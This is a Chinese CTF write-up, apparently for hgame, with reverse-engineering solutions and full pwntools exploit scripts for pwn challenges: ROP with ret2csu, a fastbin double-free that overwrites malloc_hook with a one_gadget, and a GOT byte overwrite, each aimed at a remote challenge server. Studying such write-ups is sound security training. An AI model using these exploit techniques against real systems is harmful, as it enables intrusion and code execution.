这次比赛带给我的感觉是 难度适中 收获颇多
因此这里做一个记录和分享
(顺便吐槽一下:官方WP能不能再简略一点!菜比的我看着WP还是不会做啊啊啊)
Reverse:
maze
很典型的一道迷宫题,只是这个迷宫有点大 所以就不转二维了,直接线性做 判断好边界条件就可以
Py模拟一手广搜
|
|
advance
定位关键函数sub_140001EB0
跟进发现里面就是一个base64加密,但是从比较字符串来看明显不是正常的base64ciper,跟进aAbcdefghijklmn数组
对比正常的base64 box
很明显了,调换了大写字符所在顺序,跑个脚本把顺序换回来,再用base64解密就行了
|
|
bitwise
(做这题的时候 满脑子在想:出题人在哪…)
分成三个部分看
逆推,第三部分按照hint推完后是
新v14 = v14 ^ v16
新v16 = v16 ^ 新v14 ^ v6 = v16 ^ v14
第二部分最麻烦,看到这么一大片与运算和或运算,第一反应就是不可逆,直接可以把逻辑拖出来爆破。但是要注意的是C语言定义的数据类型对移位运算的影响和符号位的处理。我这里直接将符号位无视,把原始的16进制拖出来做box,然后左移运算的时候用 &0xFF 取余
第一部分,动调分析功能,这两个函数的作用就是把我们输入的每两位,变成一个新的字符,比如输入0和f,将其组合成0x0f,以此类推将数据输出到v14和v16中,那逆运算只需要将16进制数据四位四位拆出来就行。
|
|
unpack
64位elf upx加壳,然后出题人不知道动了什么手脚upx -d无法脱壳(后来知道是改了分区表),只能动调手脱。在每个call的地方下断点步过,如果炸了就重启程序步入。因为upx壳会解密程序然后跳过去执行,所以真正的程序代码必然藏在某次call中,如果炸了,说明程序已经跑完,所以要步入。这样三四次后就会进入真正的程序段
跑个idc脚本,直接把程序dump出来,脱壳后的程序就长这样了
ciper = [
0x68, 0x68, 0x63, 0x70, 0x69, 0x80, 0x5B, 0x75, 0x78, 0x49,
0x6D, 0x76, 0x75, 0x7B, 0x75, 0x6E, 0x41, 0x84, 0x71, 0x65,
0x44, 0x82, 0x4A, 0x85, 0x8C, 0x82, 0x7D, 0x7A, 0x82, 0x4D,
0x90, 0x7E, 0x92, 0x54, 0x98, 0x88, 0x96, 0x98, 0x57, 0x95,
0x8F, 0xA6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]
flag = ""
for i in range(42):
flag += chr(ciper[i] - i)
print(flag)
关于手脱upx壳可参考这篇博客 写的更为详细
http://www.qfrost.com/CTF/upx/
babyPy
题目给出的是纯文本的字节码 需自行查阅官方文档 将字节码写为python代码后再进行逆推
推出的python代码大致是这样的
#-*- coding: UTF-8 -*
def encrypt(OOo):
O0O = OOo[slice(None, None, -1)] # 逆序
O0o = list(O0O)
for O0 in range(1, len(O0o)):
Oo = O0o[O0-1] ^ O0o[O0]
O0o[O0] = Oo
O = bytes(O0o)
return hex(O)
import dis
print(dis.dis(encrypt))
# https://www.cnblogs.com/blili/p/11804690.html
# https://docs.python.org/2/library/dis.html
那就可以秒了
|
|
babyPyc
这题就不太好做了,pyc文件被加了混淆,不能直接反编译出来
赛后复盘的时候看到了zb姐姐的博客,关于Python字节码的混淆写的非常详细了,这里附上链接
https://processor.pub/2019/02/20/Python_Opcode/
这题因为被加了一个绝对跳转,所以不能直接用 Uncompyle6 或者 https://tool.lu/pyc 进行反编译。对于这种情况只能是用dis和marshal读出Opcode。但是用marshal.loads的时候必须读掉前16字节的pyc头(比赛的时候我就死在这里,以为是pyc头被改了导致工具不能反编译,所以一直在检查前16字节的头的问题)。
|
|
用这个代码就可以还原出类似于上一题的纯字节码。剩下的除了一个code object嵌套外就没什么难点了,这题官方wp写的还是比较详细的,有问题可以查官方wp,这里就不详谈了。
Classic_CrackMe
这题逻辑非常清楚,但是奈何Crypto实在太差 做不出。这里提供fjh1997师傅的wp
根据上图左侧可以无脑算IV
IV算出来,接下来容易的一批,但这个软件有bug,因此128输入算出来居然有256位,取前128位当新的IV即可。
加起来flag就是hgame{L1R5WFl6UG5ZOyQpXHdlXw==DiFfer3Nt_w0r1d}
oooollvm
题目提示了是Obfuscator-LLVM混淆,但实际没用(因为貌似没有工具能直接反混淆)
通读代码可以看到大部分的while和if都是无用的,定位关键判断
因为输入的s和box(table1 table2)均只在这个if中出现,故猜测这里就是全部逻辑,因为运算不可逆,写一个爆破即可
table1 = [
0xA2, 0xBD, 0x27, 0xA7, 0xA3, 0xCC, 0x54, 0xB5, 0xBA, 0xBC,
0x69, 0x9A, 0x19, 0x0E, 0x98, 0x59, 0x0D, 0x61, 0x75, 0xB6,
0x41, 0xC0, 0x54, 0x97, 0x49, 0xCC, 0x08, 0x1C, 0x7A, 0x8E,
0xA2, 0x5D, 0x19, 0x45, 0x00
]
table2 = [
0xCA, 0xD9, 0x48, 0xC7, 0xC2, 0xAA, 0x35, 0xF0, 0xAE, 0xB3,
0x1E, 0x8E, 0x04, 0x2E, 0xF9, 0x2B, 0x52, 0x1F, 0xD7, 0x85,
0x30, 0x8D, 0x34, 0xCC, 0x34, 0x91, 0x5C, 0x02, 0xFF, 0xC6,
0x90, 0x30, 0x7C, 0x1B
]
flag = ""
for i in range(39):
for j in range(0xFF):
if ( (j & 0xE51AFD52 | ~j & 0x1AE502AD) ^ ((table1[i] + i) & 0xE51AFD52 | ~(table1[i] + i) & 0x1AE502AD) ) == table2[i]:
flag += chr(j)
print(flag)
if '}' in flag:
exit()
break
hidden
常规套路发现不能F5 跟进发现其中的有个函数竟然不返回,直接以int 3结尾了,导致程序运行后会直接断死在这个sub_1400010C0函数内,导致了看起来是用于flag判断的if其实根本无法被执行到
但是运行程序确实可以看到有对flag进行检查并输出检查结果,因此可以猜测sub_140001030这个用于输出flag check结果的函数在别的地方被调用了 查看Xrefs可以看到除这里外只有sub_1400010C0函数调用了它,那问题的关键还是定位到这个0C0函数
lzyddf师傅指出可以重新用IDA载入文件F5 sub_1400010C0函数,可以看到这里分奇偶进行了一堆异或,百度可知这里是进行了CRC32建表,然后将一些硬编码写到了VirtualAlloc分配的内存上
在这个函数内感觉有问题的就是这里,因为只有这里出现sub_140001030的指针
因为sub_1400010C0函数是以int 3结尾 很明显程序运行后会断死在这一行里,然后在sub_1400010C0函数内可以看到先push了r9后 call r8 ,r9是exit函数,而r8就是分配出来的内存的某一偏移。那必然r8将会是问题的关键(因为后面exit了,flag的check必然在其前面),跟进后按‘p’分析代码就可以看到真正的逻辑了
ciper = [
0x46, 0x88, 0x8F, 0x75, 0x47, 0x4B, 0x75, 0x7B, 0x8E, 0x79,
0x7F, 0x8A, 0x7B, 0x7A, 0x75, 0x48, 0x7B, 0x7B, 0x7B, 0x4B,
0x82, 0x87, 0x7D, 0x4B, 0x5D, 0x88, 0x9B, 0xA7, 0x50, 0x73,
0x81, 0x81, 0x9A, 0x72, 0xFA, 0x57, 0x4F, 0x57, 0x65, 0x7D,
]
v10 = ciper[-2:]
for j in range(18,-1,-1):
for k in range(1,-1,-1):
ciper[j+19] ^= ciper[j]
ciper[j+19] += 103
ciper[j] -= v10[k]
ciper[j] ^= ciper[j+19]
print(ciper)
print("".join([chr(x&0xFF) for x in ciper]))
bbbbbb
这题也是赛后复盘,这个反调和算法属实有点意(er)思(xin)
通过查导入表的交叉引用可以找到sub_140002500是main函数。可以看到,紧跟着输入的是这一部分内容
这块内容就非常重要了,要是看不懂后面就不用看了。首先非常明显,这里一个do-while循环会进行4次,然后有调用atoi函数,并将其结果保存到一个长度为4的数组里。然后在上面的函数里可以看到有调用memchr函数,这个函数的作用是在字符串中查找一个字符的位置,通过动调可以知道查找的是"_"。然后修改输入多次动调就可以发现,这个do-while的作用就是将输入以"_“为分割符切割成4份,并通过atoi函数将其转化为数字存储在一个数组里。
然后接下来第二部分,这里就是纯拼基础了。
可以看到连着调用了几个API获取当前进程线程信息,当时我第一反应就是反调,但是比赛的时候怎么都看不出来这个反调是怎么实现的,赛后复盘的时候才知道是怎么回事。在sub_140001010函数里对传进去的指针进行了一个初始化赋值,这里看了官方题解才知道是sha类哈希函数。是用于设置sha_key的。检查参数调用,就可以知道sub_140001090里面必然有sha加密函数。然后我们看 K32GetModuleInformation ,这个API获得了modinfo,里面保存了进程的基址,然后在下面的do-while循环里会将这个地址的0x1000*5字节的值进行sha运算。这段空间内包含了大部分的函数,将这段空间的值进行哈希可以防止调试时的普通断点(因为普通断点会产生0xCC)。然后通过 GetThreadContext API获取到了进程上下文,保存在Dst指针里。我们可以看一下 GetThreadContext的原型和 lpContext 结构体
|
|
可以看到,这个结构体里保存着Drx寄存器的值,就是硬件调试寄存器。其中Dr0-3,就是对应四个硬件断点,而 Dr7 则是状态控制寄存器。简单来说,如果用下了硬件断点,那么这五个寄存器
的值就会被改变(就至少有两个不为0)。这四个API配合起来,直接抵御了普通断点和硬件断点。
下面就要康康怎么解决这个问题了。把断点下在最后的那个if比较处,可以看到,这里的rdi的值就是我们的输入经过atoi转化后的值,而rax是与hash有关的ciper。直接拿输入做比较让我感觉有点奇怪,然后我把输入的值整段做了读写断点跟了几遍发现在hash运算中并没有用到我的输入!然后检查这个rax是从何而来的,jump到rdi的位置,可以看到这个ciper在input的0x10偏移处。这样,其实就确定了,正常运行的情况下,这个rax的值必然是一个确定的值,我们只要那到正确运算的hash这题就解决了。这里我想到的解决方法只有两个:
- 一个是逆那个算法,因为输入是不参与运算的,而这个算法又是固定的,想办法自己把代码段dump出来加上Drx的值把正确的hash值算出来;
- 第二个方法是先让程序正常的跑起来,然后想办法让程序在结束前停下,通过自己的输入找到正确的ciper。
这两个方法实施起来其实都不容易,然后我看到了一个大佬的博客才知道还有这种骚操作。可以把断点下在exit处
对照前面的代码段加密的语句,就会发现这里并不包含在那0x1000*5的空间内,也就是说把断点下在这里,就可以成功停下程序。然后因为PIE的问题,每次输入的地方地址都不一样,所以我在 call GetCurrentProcess(0x140002E7F) 处下了一个断点,记录一下输入的地址,然后去掉这个断点(一定要去掉,不然断点就会被加入sha运算),F9运行,在 call exit 的时候拿出正确的ciper内存
0xEA, 0x07, 0xA1, 0x4D, 0xAD, 0x77, 0x28, 0x93, 0x14, 0x72,
0x85, 0x5A, 0x6B, 0xE4, 0x67, 0xC7
因为这个内存是被atoi计算后的结果,手逆也可以,但是还有更省力的方法。因为注意到在通过if检测后,程序会对atoi的结果做逆运算,然后包上flag头进行输出,我们可以利用它这个特征,同样在call GetCurrentProcess(0x140002E7F) 处下断,这个时候atoi已经计算完毕了,把正确的ciper直接改写到内存处,覆盖错误的atoi结果,然后同样去掉断点F9就可以让程序自动的输出逆运算的结果了。
这题官方题解并没有提供具体做法,只提供了4种思路,和我的方法都不太一样,但这解法还是非常骚的:
- 内存dump,每个page_size加上32bytes的0,运算sha256
- 内存断点(这个具体怎么实施想不出)
- hook K32GetModuleInformation,然后下硬件断点
- vm断点
Pwn:
Hard_AAAA
这题一眼看去就能看到memcmp的第三个参数很奇怪,为什么会是7字节,然后跟进其第一个参数可以看到,在 “0O0o” 后紧跟着一个char数组,而我们知道char数组末尾必有一个 “\x00” 截断,因此构造payload绕过memcmp即可
|
|
Number_kill
这题想了挺久的,有个jmp rsp, 并且可以溢出0x28字节。但是有几个难点,首先如果直接给溢出的0x30空间写shellcode的话然后用jmp rsp跳过去的话,atoll函数会转化掉payload,所以我们必然要将payload进行转化。题目其实已经有了提示了:“请用数字Pwn me” 我们可以使用u64将payload转化为数字,然后atoll函数,会再次的将数字变成shellcode存储在溢出空间里,用jmp rsp跳过去就行了。
然后还有一个问题就算直接用 pwntools.shellcraft 生成的shellcode太长了,溢出空间不足以装下这个shellcode 此处感谢 @Freedom 师傅的shellcode,只有0x17字节 可以解决这个问题
|
|
另一种方法是直接通过ROP leak出libc_base 然后ret2libc的方法getshell,这个方法应该相对更常规一些
|
|
One_Shot
这个v4,刚开始看错了,被坑死了… 我们可以控制这个v4来实现任意地址修改为1,第一次输入的name填充32位后会覆盖flag的第一位为截断符,因为无PIE保护,用v4直接修改截断符的地址的值为1,就可以输出flag
|
|
ROP_LEVEL0
因为在main函数里已经有读取另一个文件并输出其内容的代码,而其文件名是以数组的形式存储在某个位置的,我们只需要修改该数组内容为“flag”,劫持流程再次运行main函数,就可以自然的输出flag文件内的内容了。而存储文件名的数组所在的代码页是不具有可写权限的,同样需要使用ret2csu调用mprotect函数给它添加权限
|
|
这题ww师傅给出了另外一种做法
即重复利用万能gadget调用read, open, puts将flag读到bss段上后输出
1 #!/usr/bin/python2
2
3 from pwn import *
4 import sys
5 import os
6
7 #context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
8 context(arch='i386', os='linux', terminal=['tmux', 'splitw', '-h'])
9 context.log_level='debug'
10 debug = 0
11 d = 1
12
13 def pwn():
14 execve = "./ROP_LEVEL0"
15 if debug == 1:
16 p = process(execve)
17 if d == 1:
18 gdb.attach(p)
19 else:
20 #ip = "10.0.%s.140" % sys.argv[1]
21 ip = "47.103.214.163"
22 host = "20003"
23 p = remote(ip, host)
24
25 elf = ELF("./ROP_LEVEL0")
26
27 main = 0x40065B
28 loc1 = 0x400730
29 loc2 = 0x40074A
30
31 payload = '\x00'*(0x50+8) + p64(loc2)
32 payload += p64(0) + p64(1) + p64(elf.got['read']) + p64(0x10) + p64(elf.bss()+0x200) + p64(0) + p64(loc1)
33 payload += p64(0)*7 + p64(main)
34 p.sendafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag", payload.ljust(0x100, '\x00'))
35
36 p.sendline('./flag\0')
37
38 payload = '\x00'*(0x50+8) + p64(loc2)
39 payload += p64(0) + p64(1) + p64(elf.got['open']) + p64(0)*2 + p64(elf.bss()+0x200) + p64(loc1)
40 payload += p64(0)*7 + p64(main)
41 p.sendafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag", payload.ljust(0x100, '\x00'))
42
43 raw_input()
44 payload = '\x00'*(0x50+8) + p64(loc2)
45 payload += p64(0) + p64(1) + p64(elf.got['read']) + p64(0x60) + p64(elf.bss()+0x220) + p64(5) + p64(loc1)
46 payload += p64(0)*7 + p64(main)
47 p.sendafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag", payload.ljust(0x100, '\x00'))
48
49 payload = '\x00'*(0x50+8) + p64(loc2)
50 payload += p64(0) + p64(1) + p64(elf.got['puts']) + p64(0)*2 + p64(elf.bss() + 0x220) + p64(loc1)
51 payload += p64(0)*7 + p64(main)
52 p.sendafter("You can not only cat flag but also Opxx Rexx Wrxxx ./flag", payload.ljust(0x100, '\x00'))
53
54 p.interactive()
55
56 if __name__ == '__main__':
57 pwn()
Roc826s_Note | working:Dsyzy
简单的堆溢出,存在doublefree,之后利用fastbin attack覆写malloc_hook为onegadget即可,但是onegadget一个本第可打通,一个远程可打通,exp如下
from pwn import *
context(log_level='debug')
#sh=process("./roc")
sh=remote("47.103.214.163",21002)
lib=ELF("libc-2.23.so")
def add(size,content):
sh.sendlineafter(":","1")
sh.sendlineafter("size?\n",str(size))
sh.sendlineafter("content:",content)
def add2(size):
sh.sendlineafter(":","1")
sh.sendlineafter("size?\n",str(size))
def free(index):
sh.sendlineafter(":","2")
sh.sendlineafter("index?\n",str(index))
def show(index):
sh.sendlineafter(":","3")
sh.sendlineafter("index?\n",str(index))
def exit():
sh.sendlineafter(":","4")
add(0x90,"aaa") #0
add(0x60,"bbb") #1
free(0)
show(0)
sh.recvuntil("content:")
main_arena_addr=u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
log.success("main_arena_addr:"+hex(main_arena_addr))
libc_base=main_arena_addr- 88 - lib.symbols['__malloc_hook'] - 0x10
log.success("libc_base:"+hex(libc_base))
ongadget=[0x45216,0x4526a,0xf02a4,0xf1147]
one=libc_base+ongadget[4]
log.success("one:"+hex(one))
malloc_hook=libc_base+lib.symbols['__malloc_hook']
realloc_hook=libc_base +lib.symbols["__realloc_hook"]
log.success("malloc_hook:"+hex(malloc_hook))
payload = p64(malloc_hook -0x23)
#uaf fastbin attack go go go
add(0x60,"aaa") #2
add(0x60,"ccc") #3
add(0x60,"ddd") #4
free(2)
free(3)
free(2)
#malloc_hook:0x7f8d64e30b10
add(0x60,payload)
add(0x60,"aaa")
add(0x60,"bbb")
payload='a'*0xb+p64(one)+p64(one)
#attach(sh,"b *0x0000000000400BAD")
add(0x60,payload)
add2(0x10)
sh.interactive()
Another_Heaven | working:Dsyzy
这个开始会把flag读取到bss上。考虑怎么泄露。
这里可以修改任意内存的一个字节,观察之后发现在下图处会再次调用flag一次
而在gdb查看got表发现,strnpty和puts最后仅一字节不同,考虑修改strncpy got表内容为puts。
#coding=utf-8
from pwn import *
#context(log_level='debug')
#sh=process("./another_Heaven")
sh=remote("47.103.214.163",21001)
account="E99p1ant"
security="Alice·Synthesis·Thirty"
def modifyonebyte(destaddr,char): #You can modify any byte of memory here
change=str(destaddr)+"\n"+p8(char)
sh.sendafter('Annevi!"\n',change)
modifyonebyte(0x0000000000602020,0xe6)
sh.sendlineafter("Account:",account)
sh.sendlineafter("Password:","asd")
sh.sendlineafter("Forgot your password?(y/n)\n","y")
sh.sendlineafter("Who is your Wife?\n",security)
sh.sendlineafter("Input new password:\n","c")
sh.interactive()